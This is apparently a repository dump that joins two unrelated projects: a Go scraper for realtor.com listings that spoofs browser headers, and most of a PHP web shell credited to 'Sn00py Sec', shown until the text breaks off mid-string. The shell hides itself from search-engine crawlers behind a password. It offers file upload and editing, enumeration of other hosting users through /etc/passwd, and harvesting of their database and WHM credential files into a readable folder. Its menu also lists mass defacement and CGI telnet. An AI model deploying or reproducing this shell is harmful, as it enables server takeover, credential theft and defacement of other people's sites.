SeoURL string `json:"seo_url"`
ClientPolygon interface{} `json:"client_polygon"`
Results struct {
Property struct {
Type string `json:"type"`
Count int `json:"count"`
Total int `json:"total"`
Items map[string]Listing `json:"items"`
} `json:"property"`
LotPrice struct {
Type string `json:"type"`
Items struct {
} `json:"items"`
} `json:"lotPrice"`
Clusters struct {
Type string `json:"type"`
Items struct {
} `json:"items"`
Total int `json:"total"`
} `json:"clusters"`
} `json:"results"`
}
// Listing is an individual result from a ListingResponse
type Listing struct {
AgentID int `json:"agentId"`
LdpURL string `json:"ldpUrl"`
ID string `json:"id"`
PropertyID string `json:"property_id"`
SourceID string `json:"source_id"`
PlanID interface{} `json:"plan_id"`
SubdivisionID interface{} `json:"subdivision_id"`
ListingID int `json:"listing_id"`
IsStatusPending interface{} `json:"isStatusPending"`
IsSaved bool `json:"isSaved"`
SavedResourceID interface{} `json:"savedResourceId"`
MprID int64 `json:"mprId"`
OfficeName string `json:"officeName"`
Plot bool `json:"plot"`
Position struct {
Coordinates []float64 `json:"coordinates"`
Type string `json:"type"`
} `json:"position"`
Status string `json:"status"`
Type string `json:"type"`
ProductType string `json:"product_type"`
SearchFlags struct {
IsPriceReduced bool `json:"is_price_reduced"`
IsPending bool `json:"is_pending"`
IsContingent bool `json:"is_contingent"`
IsNewListing bool `json:"is_new_listing"`
IsShortSale interface{} `json:"is_short_sale"`
IsShowcase bool `json:"is_showcase"`
HasTour bool `json:"has_tour"`
HasVideo bool `json:"has_video"`
HasRealtorLogo bool `json:"has_realtor_logo"`
IsCobroke bool `json:"is_cobroke"`
IsCoshowProduct bool `json:"is_coshow_product"`
IsForeclosure bool `json:"is_foreclosure"`
IsNewPlan bool `json:"is_new_plan"`
PriceExcludesLand bool `json:"price_excludes_land"`
HasDeals bool `json:"has_deals"`
IsNew bool `json:"is_new"`
IsCostar bool `json:"is_costar"`
IsAptlist bool `json:"is_aptlist"`
IsAddressSuppressed bool `json:"is_address_suppressed"`
IsSuppressMapPin bool `json:"is_suppress_map_pin"`
IsSuppressMap bool `json:"is_suppress_map"`
IsAdvantage bool `json:"is_advantage"`
IsAdvantageBrand bool `json:"is_advantage_brand"`
IsAdvantagePro bool `json:"is_advantage_pro"`
IsEssentials bool `json:"is_essentials"`
IsBasic bool `json:"is_basic"`
IsBasicOptIn bool `json:"is_basic_opt_in"`
IsBasicOptOut bool `json:"is_basic_opt_out"`
HasMatterport bool `json:"has_matterport"`
IsTcpaMessageEnabled bool `json:"is_tcpa_message_enabled"`
} `json:"search_flags"`
OpenHouseDisplay interface{} `json:"open_house_display"`
LastSoldPriceDisplay interface{} `json:"last_sold_price_display"`
LastSoldDateDisplay interface{} `json:"last_sold_date_display"`
Sort int `json:"sort"`
IsCoBroke bool `json:"isCoBroke"`
IsEnhanced bool `json:"isEnhanced"`
IsForeclosure bool `json:"isForeclosure"`
IsPriceReduced bool `json:"isPriceReduced"`
IsAddressSuppressed bool `json:"isAddressSuppressed"`
Bed string `json:"bed"`
Bath string `json:"bath"`
LotSize int `json:"lotSize"`
Photo string `json:"photo"`
PhotoCount int `json:"photoCount"`
Price int `json:"price"`
PriceDisplay string `json:"priceDisplay"`
PropertyType string `json:"propertyType"`
Sqft interface{} `json:"sqft"`
SqftDisplay interface{} `json:"sqft_display"`
Address string `json:"address"`
City string `json:"city"`
County string `json:"county"`
State string `json:"state"`
Zip string `json:"zip"`
FullAddressDisplay interface{} `json:"full_address_display"`
PinPrice interface{} `json:"pinPrice"`
DataSource interface{} `json:"data_source"`
//AgentID interface{} `json:"agent_id"`
}
<file_sep>module realtor.go
require golang.org/x/net v0.0.0-20190225153610-fe579d43d832
<file_sep>package realtor
//PlaceResponse is the result of finding places by name
type PlaceResponse struct {
Result []Place `json:"result"`
}
//Place is a single result from PlaceResponse
type Place struct {
AreaType string `json:"area_type"`
ID string `json:"_id"`
Score float64 `json:"_score"`
City string `json:"city"`
StateCode string `json:"state_code"`
Country string `json:"country"`
Centroid struct {
Lon float64 `json:"lon"`
Lat float64 `json:"lat"`
} `json:"centroid"`
}
<file_sep>package realtor
//https://www.realtor.com/search_result.json
// ListingRequest is the query which finds listings
type ListingRequest struct {
SearchCriteria string `json:"search_criteria,omitempty"`
City string `json:"city,omitempty"`
County string `json:"county,omitempty"`
DiscoveryMode bool `json:"discovery_mode,omitempty"`
State string `json:"state,omitempty"`
Postal int `json:"postal,omitempty"`
Sort string `json:"sort,omitempty"`
Position string `json:"position,omitempty"`
Facets Facets `json:"facets,omitempty"`
SearchController string `json:"search_controller,omitempty"`
Neighborhood string `json:"neighborhood,omitempty"`
Street string `json:"street,omitempty"`
SearchType string `json:"searchType,omitempty"`
School string `json:"school,omitempty"`
SchoolDistrict string `json:"school_district,omitempty"`
University string `json:"university,omitempty"`
Park string `json:"park,omitempty"`
Types []string `json:"types,omitempty"`
SearchFacetsToDTM []string `json:"searchFacetsToDTM,omitempty"`
SearchFeaturesToDTM []string `json:"searchFeaturesToDTM,omitempty"`
PageSize int `json:"page_size,omitempty"`
ViewportHeight int `json:"viewport_height,omitempty"`
PinHeight int `json:"pin_height,omitempty"`
BoundingBox string `json:"bounding_box,omitempty"`
MaxClusters int `json:"max_clusters,omitempty"`
MaxPins int `json:"max_pins,omitempty"`
Pos string `json:"pos,omitempty"`
}
// Facets is the query facets which finds listings
type Facets struct {
BedsMin int `json:"beds_min,omitempty"`
BedsMax int `json:"beds_max,omitempty"`
BathsMin int `json:"baths_min,omitempty"`
BathsMax int `json:"baths_max,omitempty"`
PriceMax int `json:"price_max,omitempty"`
PropType string `json:"prop_type,omitempty"`
SqftMin int `json:"sqft_min,omitempty"`
SqftMax int `json:"sqft_max,omitempty"`
AcreMin int `json:"acre_min,omitempty"`
AcreMax int `json:"acre_max,omitempty"`
LotUnit string `json:"lot_unit,omitempty"`
AgeMax int `json:"age_max,omitempty"`
AgeMin int `json:"age_min,omitempty"`
Radius string `json:"radius,omitempty"`
Pets []string `json:"pets,omitempty"`
DaysOnMarket string `json:"days_on_market,omitempty"`
OpenHouse bool `json:"open_house,omitempty"`
ShowListings string `json:"show_listings,omitempty"`
Pending bool `json:"pending,omitempty"`
Foreclosure bool `json:"foreclosure,omitempty"`
NewConstruction bool `json:"new_construction,omitempty"`
MultiSearch struct {
} `json:"multi_search,omitempty"`
IncludePendingContingency bool `json:"include_pending_contingency,omitempty"`
FeaturesHash []string `json:"features_hash,omitempty"`
}
<file_sep>package realtor
import (
"bytes"
"encoding/json"
"fmt"
"io"
"io/ioutil"
"net/http"
"net/url"
)
//Session represents a set of connections
type Session struct {
Jar http.CookieJar
}
//NewSession returns a session
func NewSession() (*Session, error) {
s := &Session{}
return s, s.http("GET", "https://www.realtor.com/", nil, nil) //populate cookieJar
}
// Search returns place information by name
func (s *Session) Search(req ListingRequest) (*ListingResponse, error) {
b, err := json.Marshal(req)
if err != nil {
return nil, err
}
rdr := bytes.NewReader(b)
res := &ListingResponse{}
u := "https://www.realtor.com/search_result.json"
err = s.http("POST", u, rdr, res)
return res, err
}
// QuadSearch repeatedly searches an area, breaking it into four parts and searching again until all listings are found
func (s *Session) QuadSearch(f Facets, minx, miny, maxx, maxy float64, listings map[string]Listing) error {
req := ListingRequest{
Facets: f,
PageSize: 200,
BoundingBox: fmt.Sprintf("%.15f,%.15f,%.15f,%.15f", minx, miny, maxx, maxy),
Pos: fmt.Sprintf("%.6f,%.6f,%.6f,%.6f,11", miny, minx, maxy, maxx),
}
fmt.Printf("Searching %s\n", req.BoundingBox)
r, err := s.Search(req)
if err != nil {
return err
}
if r.Results.Property.Count < r.Results.Property.Total {
midx := (minx + maxx) / 2
midy := (miny + maxy) / 2
err = s.QuadSearch(f, minx, miny, midx, midy, listings)
if err != nil {
return err
}
err = s.QuadSearch(f, minx, midy, midx, maxy, listings)
if err != nil {
return err
}
err = s.QuadSearch(f, midx, miny, maxx, midy, listings)
if err != nil {
return err
}
err = s.QuadSearch(f, midx, midy, maxx, maxy, listings)
if err != nil {
return err
}
} else {
for k, v := range r.Results.Property.Items {
listings[k] = v
}
}
return nil
}
// FindPlace returns place information by name
func (s *Session) FindPlace(place string) (*Place, error) {
u := "https://www.realtor.com/api/v1/geo-landing/parser/suggest/?input=%s&area_types=neighborhood&area_types=city&area_types=postal_code&limit=1&includeState=false"
//u := "https://www.realtor.com/api/v1/geo-landing/parser/suggest/?input=%s&area_types=address&area_types=neighborhood&area_types=city&area_types=county&area_types=postal_code&area_types=street&area_types=building&area_types=school&area_types=building&area_types=school_district&limit=1&latitude=35.175201416015625&longitude=-79.3833999633789&includeState=false"
r := &PlaceResponse{}
err := s.http("GET", fmt.Sprintf(u, url.PathEscape(place)), nil, r)
if err != nil {
return nil, err
}
if len(r.Result) == 0 {
return nil, fmt.Errorf("Place not found")
}
return &r.Result[0], err
}
//http makes web request and provides JSON serialization
func (s *Session) http(httpType, u string, post io.Reader, output interface{}) error {
req, err := http.NewRequest(httpType, u, post)
if err != nil {
return err
}
//try at least a little to look like normal traffic
req.Header.Set("Host", "www.realtor.com")
req.Header.Set("Origin", "https://www.realtor.com")
req.Header.Set("User-Agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.109 Safari/537.36")
req.Header.Set("Accept-Language", "en-US,en;q=0.9")
if output != nil {
req.Header.Set("Content-Type", "application/json")
req.Header.Set("Accept", "application/json, text/javascript, */*; q=0.01")
req.Header.Set("X-Requested-With", "XMLHttpRequest")
}
client := &http.Client{Jar: s.Jar} //use cookiejar for any session / XSS checks
r, err := client.Do(req)
if err != nil {
return err
}
if output == nil {
return nil
}
defer r.Body.Close()
err = json.NewDecoder(r.Body).Decode(output)
if err != nil {
b, _ := ioutil.ReadAll(r.Body)
fmt.Printf("JSON err: %s\n", string(b))
}
return err
}
<file_sep>package main
import (
"flag"
"fmt"
"realtor.go/pkg/realtor"
)
func main() {
var place string
//get command line options
flag.StringVar(&place, "place", "Pittsburgh, PA", "The name of the area to search")
flag.Parse()
if place == "" {
flag.PrintDefaults()
return
}
//session
s, err := realtor.NewSession()
if err != nil {
fmt.Println("NewSession: " + err.Error())
return
}
//place
p, err := s.FindPlace("Pittsburgh, PA")
if err != nil {
fmt.Println("FindPlace: " + err.Error())
return
}
fmt.Printf("%+v", p)
//query
listings := map[string]realtor.Listing{}
err = s.QuadSearch(realtor.Facets{BedsMin: 4}, -80.3646522705942, 40.252238699938296, -79.77860032967624, 40.75813885384505, listings)
if err != nil {
fmt.Println("FindPlace: " + err.Error())
return
}
for k, v := range listings {
fmt.Printf("%s = %v\n", k, v)
}
fmt.Printf("(%d items)", len(listings))
}
| d79edcf1c778ce60f5c6a462002a530f68387d56 | [
"Markdown",
"Go Module",
"Go"
] | 7 | Markdown | wthorp/realtor.go | 397606832e5609f43d52d71eb829f566907625ce | 860cb4b495e3cd7d5847ede4d1b131b630c937a9 |
refs/heads/master | <file_sep># PrivateShell
Private Shell by Snoopy<br>
Recoded for Gopressexploit
<file_sep><?php
//NOCHANGE YA SAYANG :*
//Greetz Mr.CeRoS404 <= he Make this shell
//and Me :'v
//Dont Change The Copyright Please :)
//although only recode at least I've been trying to make this shell
//dont Judge Please im newbie :)
//Recoded By ./Sn00py Sec
session_start();
error_reporting(0);
set_time_limit(0);
@set_magic_quotes_runtime(0);
@clearstatcache();
@ini_set('error_log',NULL);
@ini_set('log_errors',0);
@ini_set('max_execution_time',0);
@ini_set('output_buffering',0);
@ini_set('display_errors', 0);
$KeyMasuk = "f55fc9719a066603197dfe4a184d906b";
$color = "#00ff00";
$default_action = 'FilesMan';
$default_use_ajax = true;
$default_charset = 'UTF-8';
if(!empty($_SERVER['HTTP_USER_AGENT'])) {
$userAgents = array("Googlebot", "Slurp", "MSNBot", "PycURL", "facebookexternalhit", "ia_archiver", "crawler", "Yandex", "Rambler", "Yahoo! Slurp", "YahooSeeker", "bingbot");
if(preg_match('/' . implode('|', $userAgents) . '/i', $_SERVER['HTTP_USER_AGENT'])) {
header('HTTP/1.0 404 Not Found');
exit;
}
}
function login_shell() {
if($_POST['submit']){
switch ($_POST['method']) {
case '1':
echo d3cryptR4ns0mw4r3::m3d1rs(d3cryptR4ns0mw4r3::locate(),"1",$_POST['pass']);
break;
case '2':
echo d3cryptR4ns0mw4r3::m3d1rs(d3cryptR4ns0mw4r3::locate(),"2",$_POST['pass']);
break;
}
}
?>
<html>
<style type="text/css">
@import url(https://fonts.googleapis.com/css?family=Oxygen);
body {
background: b
font-family: 'Oxygen';
color: #e2e2e2;
}
.subimit{
border-color: white;
background-color: transparent;
color: white;
}
.submite{
border-style: white;
border-color: white;
background-color: transparent;
color: black;
}
</style>
<head>
<title>./SNP SEC</title>
<center>
<br><br><br><br><br><br>
<form method="post">
<br><br><br>
<font color="white">Password : </font> <input class="subimit" type="password" name="pass">
<br><br> <input type="submit" name="submit" class="submite" value="MASUK">
</form></center>
<?php
exit;
}
if(!isset($_SESSION[md5($_SERVER['HTTP_HOST'])]))
if( empty($KeyMasuk) || ( isset($_POST['pass']) && (md5($_POST['pass']) == $KeyMasuk) ) )
$_SESSION[md5($_SERVER['HTTP_HOST'])] = true;
else
login_shell();
if(isset($_GET['dl']) && ($_GET['dl'] != "")){
$file = $_GET['dl'];
$filez = @file_get_contents($file);
header("Content-type: application/octet-stream");
header("Content-length: ".strlen($filez));
header("Content-disposition: attachment; filename=\"".basename($file)."\";");
echo $filez;
exit;
}
if(get_magic_quotes_gpc()){
foreach($_POST as $key=>$value){
$_POST[$key] = stripslashes($value);
}
}
echo '<!DOCTYPE HTML>
<HTML>
<HEAD>
<link href="https://fonts.googleapis.com/css?family=Ubuntu Mono" rel="stylesheet" type="text/css">
<title>./SNP SEC</title>
<style>
body{
background-attachment:fixed;
-webkit-background-size: cover;
-moz-background-size: cover;
-o-background-size: cover;
background-size: cover;
font-family: "Ubuntu Mono";
color: green;
text-shadow:0px 0px 1px #757575;
}
#content tr:hover{
background-color: #636263;
text-shadow:0px 0px 10px #fff;
}
#content .first{
background-color: silver;
}
#content .first:hover{
background-color: silver;
text-shadow:0px 0px 1px #757575;
}
table{
border: 1px #000000 dotted;
}
H1{
font-family: "Rye", cursive;
}
a{
color: green;
text-decoration: none;
}
a:hover{
color: blue;
text-shadow:0px 0px 10px red;
}
input,select,textarea{
border: 1px #000000 solid;
-moz-border-radius: 5px;
-webkit-border-radius:5px;
border-radius:5px;
}
</style>
</HEAD>
<BODY>
<table width="700" border="0" cellpadding="3" cellspacing="1" align="center">
<tr><td>';
echo "<br>";
echo "<br>";
echo "<center> ./SN00PY SEC PUBLIC MINI SHELL V.1 </center>";
echo "<br>";
echo "System: ".php_uname()."<br>";
echo "<br>";
//INI MENU NYA DANCUK, JANGAN DI UBAH
echo "<a href='?'>[ HOME ]</a>";
echo "<a href='?path=$path&opt=jumping'> [ Jumping ]</a>";
echo "<a href='?path=$path&opt=config'> [ Config ]</a>";
echo "<a href='?path=$path&opt=adminer'> [ Adminer ]</a>";
echo "<a href='?path=$path&opt=mass_deface'> [ Mass ]</a>";
echo "<a href='?path=$path&opt=cgi'> [ Cgi T3ln3t ]</a>";
echo "<a href='?path=$path&opt=dos'> [ Domain ]</a><br>";
echo "<center>";
echo "<a style='color: red;' href='?logout=true'> [ Logout ]</a>";
echo "</center>";
echo "<br>";
echo "Current Path : ";
if(isset($_GET['path'])){
$path = $_GET['path'];
}else{
$path = getcwd();
}
$path = str_replace('\\','/',$path);
$paths = explode('/',$path);
foreach($paths as $id=>$pat){
if($pat == '' && $id == 0){
$a = true;
echo '<a href="?path=/">/</a>';
continue;
}
if($pat == '') continue;
echo '<a href="?path=';
for($i=0;$i<=$id;$i++){
echo "$paths[$i]";
if($i != $id) echo "/";
}
echo '">'.$pat.'</a>/';
}
echo '</td></tr><tr><td>';
echo "<br>";
if(isset($_FILES['file'])){
if(copy($_FILES['file']['tmp_name'],$path.'/'.$_FILES['file']['name'])){
echo '<font color="#DA70D6">Succes</font><br />';
}else{
echo '<font color="#FFEFD5">Error</font><br />';
}
}
echo '<form enctype="multipart/form-data" method="POST"><font color="#E0FFFF">
Upload File<input type="file" name="file" />
<input type="submit" value="Uploads Ugh! " />
</form>
</td></tr>';
if(isset($_GET['filesrc'])){
echo "<tr><td>Current File : ";
echo $_GET['filesrc'];
echo '</tr></td></table><br />';
echo('<pre>'.htmlspecialchars(file_get_contents($_GET['filesrc'])).'</pre>');
}elseif(isset($_GET['option']) && $_POST['opt'] != 'delete'){
echo '</table><br /><center>'.$_POST['path'].'<br /><br />';
if($_POST['opt'] == 'chmod'){
if(isset($_POST['perm'])){
if(chmod($_POST['path'],$_POST['perm'])){
echo '<font color="#DA70D6">Change Permission Done Yupz</font><br />';
}else{
echo '<font color="#FFEFD5">Change Permission Error</font><br />';
}
}
echo '<form method="POST">
Permission : <input name="perm" type="text" size="4" value="'.substr(sprintf('%o', fileperms($_POST['path'])), -4).'" />
<input type="hidden" name="path" value="'.$_POST['path'].'">
<input type="hidden" name="opt" value="chmod">
<input type="submit" value="Go" />
</form>';
}
elseif($_POST['opt'] == 'rename'){
if(isset($_POST['newname'])){
if(rename($_POST['path'],$path.'/'.$_POST['newname'])){
echo '<font color="#DA70D6">Change Name Done Yupz</font><br />';
}else{
echo '<font color="#FFEFD5">Change Name Error</font><br />';
}
$_POST['name'] = $_POST['newname'];
}
echo '<form method="POST">
New Name : <input name="newname" type="text" size="20" value="'.$_POST['name'].'" />
<input type="hidden" name="path" value="'.$_POST['path'].'">
<input type="hidden" name="opt" value="rename">
<input type="submit" value="Go" />
</form>';
}
elseif($_POST['opt'] == 'edit'){
if(isset($_POST['src'])){
$fp = fopen($_POST['path'],'w');
if(fwrite($fp,$_POST['src'])){
echo '<font color="#DA70D6">Edit File Done Yupz</font><br />';
}else{
echo '<font color="#FFEFD5">Edit File Error</font><br />';
}
fclose($fp);
}
echo '<form method="POST">
<textarea cols=80 rows=20 name="src">'.htmlspecialchars(file_get_contents($_POST['path'])).'</textarea><br />
<input type="hidden" name="path" value="'.$_POST['path'].'">
<input type="hidden" name="opt" value="edit">
<input type="submit" value="Go" />
</form>';
}
echo '</center>';
}else{
echo '</table><br /><center>';
if(isset($_GET['option']) && $_POST['opt'] == 'delete'){
if($_POST['type'] == 'dir'){
if(rmdir($_POST['path'])){
echo '<font color="#DA70D6">Delete Dir Done Yupz</font><br />';
}else{
echo '<font color="#FFEFD5">Delete Dir Error</font><br />';
}
}elseif($_POST['type'] == 'file'){
if(unlink($_POST['path'])){
echo '<font color="#DA70D6">Delete File Done Yupz</font><br />';
}else{
echo '<font color="#FFEFD5">Delete File Error</font><br />';
}
}
}
echo '</center>';
$scandir = scandir($path);
echo '<div id="content"><table width="1300" border="0" cellpadding="3" cellspacing="1" align="center">
<tr class="first">
<td><center>Name</center></td>
<td><center>Size</center></td>
<td><center>Permissions</center></td>
<td><center>Options</center></td>
</tr>';
foreach($scandir as $dir){
if(!is_dir("$path/$dir") || $dir == '.' || $dir == '..') continue;
echo "<tr>
<td><a href=\"?path=$path/$dir\">$dir</a></td>
<td><center>--</center></td>
<td><center>";
if(is_writable("$path/$dir")) echo '<font color="white">';
elseif(!is_readable("$path/$dir")) echo '<font color="red">';
echo perms("$path/$dir");
if(is_writable("$path/$dir") || !is_readable("$path/$dir")) echo '</font>';
echo "</center></td>
<td><center><form method=\"POST\" action=\"?option&path=$path\">
<select name=\"opt\">
<option value=\"\"></option>
<option value=\"delete\">Delete</option>
<option value=\"chmod\">Chmod</option>
<option value=\"rename\">Rename</option>
</select>
<input type=\"hidden\" name=\"type\" value=\"dir\">
<input type=\"hidden\" name=\"name\" value=\"$dir\">
<input type=\"hidden\" name=\"path\" value=\"$path/$dir\">
<input type=\"submit\" value=\">\" />
</form></center></td>
</tr>";
}
echo '<tr class="first"><td></td><td></td><td></td><td></td></tr>';
foreach($scandir as $file){
if(!is_file("$path/$file")) continue;
$size = filesize("$path/$file")/1024;
$size = round($size,3);
if($size >= 1024){
$size = round($size/1024,2).' MB';
}else{
$size = $size.' KB';
}
echo "<tr>
<td><a href=\"?filesrc=$path/$file&path=$path\">$file</a></td>
<td><center>".$size."</center></td>
<td><center>";
if(is_writable("$path/$file")) echo '<font color="green">';
elseif(!is_readable("$path/$file")) echo '<font color="red">';
echo perms("$path/$file");
if(is_writable("$path/$file") || !is_readable("$path/$file")) echo '</font>';
echo "</center></td>
<td><center><form method=\"POST\" action=\"?option&path=$path\">
<select name=\"opt\">
<option value=\"\"></option>
<option value=\"delete\">Delete</option>
<option value=\"chmod\">Chmod</option>
<option value=\"rename\">Rename</option>
<option value=\"edit\">Edit</option>
</select>
[ <a href=\"?y=$path&dl=$path/$file\">download</a> ]
<input type=\"hidden\" name=\"type\" value=\"file\">
<input type=\"hidden\" name=\"name\" value=\"$file\">
<input type=\"hidden\" name=\"path\" value=\"$path/$file\">
<input type=\"submit\" value=\">\" />
</form></center></td>
</tr>";
}
if($_GET['opt'] == 'jumping') {
$i = 0;
$ip = gethostbyname($_SERVER['HTTP_HOST']);
echo "<div class='margin: 5px auto;'>";
if(preg_match("/hsphere/", $dir)) {
$urls = explode("\r\n", $_POST['url']);
if(isset($_POST['jump'])) {
echo "<pre>";
foreach($urls as $url) {
$url = str_replace(array("http://","www."), "", strtolower($url));
$etc = "/etc/passwd";
$f = fopen($etc,"r");
while($gets = fgets($f)) {
$pecah = explode(":", $gets);
$user = $pecah[0];
$dir_user = "/hsphere/local/home/$user";
if(is_dir($dir_user) === true) {
$url_user = $dir_user."/".$url;
if(is_readable($url_user)) {
$i++;
$jrw = "[<font color=lime>R</font>] <a href='?dir=$url_user'><font color=gold>$url_user</font></a>";
if(is_writable($url_user)) {
$jrw = "[<font color=lime>RW</font>] <a href='?dir=$url_user'><font color=gold>$url_user</font></a>";
}
echo $jrw."<br>";
}
}
}
}
if($i == 0) {
} else {
echo "<br>Total ada ".$i." Kamar di ".$ip;
}
echo "</pre>";
} else {
echo '<center>
<form method="post">
List Domains: <br>
<textarea name="url" style="width: 500px; height: 250px;">';
$fp = fopen("/hsphere/local/config/httpd/sites/sites.txt","r");
while($getss = fgets($fp)) {
echo $getss;
}
echo '</textarea><br>
<input type="submit" value="Jumping" name="jump" style="width: 500px; height: 25px;">
</form></center>';
}
}
elseif(preg_match("/vhosts|vhost/", $dir)) {
preg_match("/\/var\/www\/(.*?)\//", $dir, $vh);
$urls = explode("\r\n", $_POST['url']);
if(isset($_POST['jump'])) {
echo "<pre>";
foreach($urls as $url) {
$url = str_replace("www.", "", $url);
$web_vh = "/var/www/".$vh[1]."/$url/httpdocs";
if(is_dir($web_vh) === true) {
if(is_readable($web_vh)) {
$i++;
$jrw = "[<font color=lime>R</font>] <a href='?dir=$web_vh'><font color=gold>$web_vh</font></a>";
if(is_writable($web_vh)) {
$jrw = "[<font color=lime>RW</font>] <a href='?dir=$web_vh'><font color=gold>$web_vh</font></a>";
}
echo $jrw."<br>";
}
}
}
if($i == 0) {
} else {
echo "<br>Total ada ".$i." Kamar di ".$ip;
}
echo "</pre>";
} else {
echo '<center>
<form method="post">
List Domains: <br>
<textarea name="url" style="width: 500px; height: 250px;">';
bing("ip:$ip");
echo '</textarea><br>
<input type="submit" value="Jumping" name="jump" style="width: 500px; height: 25px;">
</form></center>';
}
} else {
echo "<pre>";
$etc = fopen("/etc/passwd", "r") or die("<font color=red>Can't read /etc/passwd</font>");
while($passwd = fgets($etc)) {
if($passwd == '' || !$etc) {
echo "<font color=red>Can't read /etc/passwd</font>";
} else {
preg_match_all('/(.*?):x:/', $passwd, $user_jumping);
foreach($user_jumping[1] as $user_idx_jump) {
$user_jumping_dir = "/home/$user_idx_jump/public_html";
if(is_readable($user_jumping_dir)) {
$i++;
$jrw = "[<font color=lime>R</font>] <a href='?dir=$user_jumping_dir'><font color=gold>$user_jumping_dir</font></a>";
if(is_writable($user_jumping_dir)) {
$jrw = "[<font color=lime>RW</font>] <a href='?dir=$user_jumping_dir'><font color=gold>$user_jumping_dir</font></a>";
}
echo $jrw;
if(function_exists('posix_getpwuid')) {
$domain_jump = file_get_contents("/etc/named.conf");
if($domain_jump == '') {
echo " => ( <font color=red>gabisa ambil nama domain nya</font> )<br>";
} else {
preg_match_all("#/var/named/(.*?).db#", $domain_jump, $domains_jump);
foreach($domains_jump[1] as $dj) {
$user_jumping_url = posix_getpwuid(@fileowner("/etc/valiases/$dj"));
$user_jumping_url = $user_jumping_url['name'];
if($user_jumping_url == $user_idx_jump) {
echo " => ( <u>$dj</u> )<br>";
break;
}
}
}
} else {
echo "<br>";
}
}
}
}
}
if($i == 0) {
} else {
echo "<br>Total ada ".$i." Kamar di ".$ip;
}
echo "</pre>";
}
echo "</div>";
}
elseif($_GET['logout'] == true) {
unset($_SESSION[md5($_SERVER['HTTP_HOST'])]);
echo "<script>window.location='?';</script>";
}
elseif($_GET['opt'] == 'dos') {
$all = array();
// domain finder.
$d0mains = file('/etc/named.conf');
$domains = scandir("/var/named");
if($domains or $d0mains){
$count = 0;
if($domains){
echo "<center><h1>Count Domains on user</h1></center><br><br>";
$cur = array();
foreach($domains as $domain){
if(strpos($domain, '.db')){
$dom = str_replace('.db', '', $domain);
$own = posix_getpwuid(fileowner("/etc/valiases/$dom"));
$user = $own['name'];
$all[$user][] = $dom;
//echo "$user: $dom<br/>";
}
}
echo "";
}
elseif($d0mains){
$mck = array();
foreach($d0mains as $domain){
preg_match_all('#zone "(.*)"#',$domain,$dom);
flush();
if(strlen(trim($domain[1][0])) >2){
$mck[] = $dom[1][0];
}
}
$mck = array_unique($mck);
foreach($mck as $dom){
$own = posix_getpwuid(fileowner("/etc/valiases/$dom"));
$user = $own['name'];
$all[$user][] = $dom;
//echo "$user: $dom<br/>";
}
echo "";
}
}
foreach($all as $user => $domain){
echo "<center>User <font color='red'>$user</font> has <font color='red'>".count($domain)."</font> Domains below :<br></center>";
echo "<center>---------------<br>";
foreach($domain as $v){
echo "<center><a href='http://$v/' target='_blank'>http://$v<a><br></center>";
}
echo "<center>---------------";
echo "<br><br>";
}
} elseif($_GET['opt'] == 'config') {
$etc = fopen("/etc/passwd", "r") or die("<pre><font color=red>Can't read /etc/passwd</font></pre>");
$idx = mkdir("gxp_config", 0777);
$isi_htc = "Options all\nRequire None\nSatisfy Any";
$htc = fopen("gxp_config/.htaccess","w");
fwrite($htc, $isi_htc);
while($passwd = fgets($etc)) {
if($passwd == "" || !$etc) {
echo "<font color=red>Can't read /etc/passwd</font>";
} else {
preg_match_all('/(.*?):x:/', $passwd, $user_config);
foreach($user_config[1] as $user_noname) {
$user_config_dir = "/home/$user_noname/public_html/";
if(is_readable($user_config_dir)) {
$grab_config = array(
"/home/$user_noname/.my.cnf" => "cpanel",
"/home/$user_noname/.accesshash" => "WHM-accesshash",
"/home/$user_noname/public_html/vdo_config.php" => "Voodoo",
"/home/$user_noname/public_html/bw-configs/config.ini" => "BosWeb",
"/home/$user_noname/public_html/config/koneksi.php" => "Lokomedia",
"/home/$user_noname/public_html/lokomedia/config/koneksi.php" => "Lokomedia",
"/home/$user_noname/public_html/clientarea/configuration.php" => "WHMCS",
"/home/$user_noname/public_html/whm/configuration.php" => "WHMCS",
"/home/$user_noname/public_html/whmcs/configuration.php" => "WHMCS",
"/home/$user_noname/public_html/forum/config.php" => "phpBB",
"/home/$user_noname/public_html/sites/default/settings.php" => "Drupal",
"/home/$user_noname/public_html/config/settings.inc.php" => "PrestaShop",
"/home/$user_noname/public_html/app/etc/local.xml" => "Magento",
"/home/$user_noname/public_html/joomla/configuration.php" => "Joomla",
"/home/$user_noname/public_html/configuration.php" => "Joomla",
"/home/$user_noname/public_html/wp/wp-config.php" => "WordPress",
"/home/$user_noname/public_html/wordpress/wp-config.php" => "WordPress",
"/home/$user_noname/public_html/wp-config.php" => "WordPress",
"/home/$user_noname/public_html/admin/config.php" => "OpenCart",
"/home/$user_noname/public_html/slconfig.php" => "Sitelok",
"/home/$user_noname/public_html/application/config/database.php" => "Ellislab");
foreach($grab_config as $config => $nama_config) {
$ambil_config = file_get_contents($config);
if($ambil_config == '') {
} else {
$file_config = fopen("gxp_config/$user_noname-$nama_config.txt","w");
fputs($file_config,$ambil_config);
}
}
}
}
}
}
echo "<center><a href='?dir=$path/gxp_config'><font color=blue>Done</font></a></center>";
}
elseif($_GET['opt'] == 'adminer') {
$full = str_replace($_SERVER['DOCUMENT_ROOT'], "", $path);
function adminer($url, $isi) {
$fp = fopen($isi, "w");
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_BINARYTRANSFER, true);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($ch, CURLOPT_FILE, $fp);
return curl_exec($ch);
curl_close($ch);
fclose($fp);
ob_flush();
flush();
}
if(file_exists('adminer.php')) {
echo "<center><font color=lime><a href='$full/adminer.php' color=#FF1493 target='_blank'>MySQL Login</a></font></center>";
} else {
if(adminer("https://www.adminer.org/static/download/4.2.4/adminer-4.2.4.php","adminer.php")) {
echo "<center><font color=lime><a href='$full/adminer.php' color=#FF1493 target='_blank'>MySQL Login</a></font></center>";
} else {
echo "<center><font color=red>gagal buat file adminer</font></center>";
}
}
}
elseif($_GET['opt'] == 'cgi') {
echo "<center/><br/><b><font color=blue>+--==[ CGI T3ln3t ]==--+ </font></b><br><br>";
mkdir('cgitelnet1', 0755);
chdir('cgitelnet1');
$kokdosya = ".htaccess";
$dosya_adi = "$kokdosya";
$dosya = fopen ($dosya_adi , 'w') or die ("Dosya açılamadı!");
$metin = "Options FollowSymLinks MultiViews Indexes ExecCGI
AddType application/x-httpd-cgi .cin
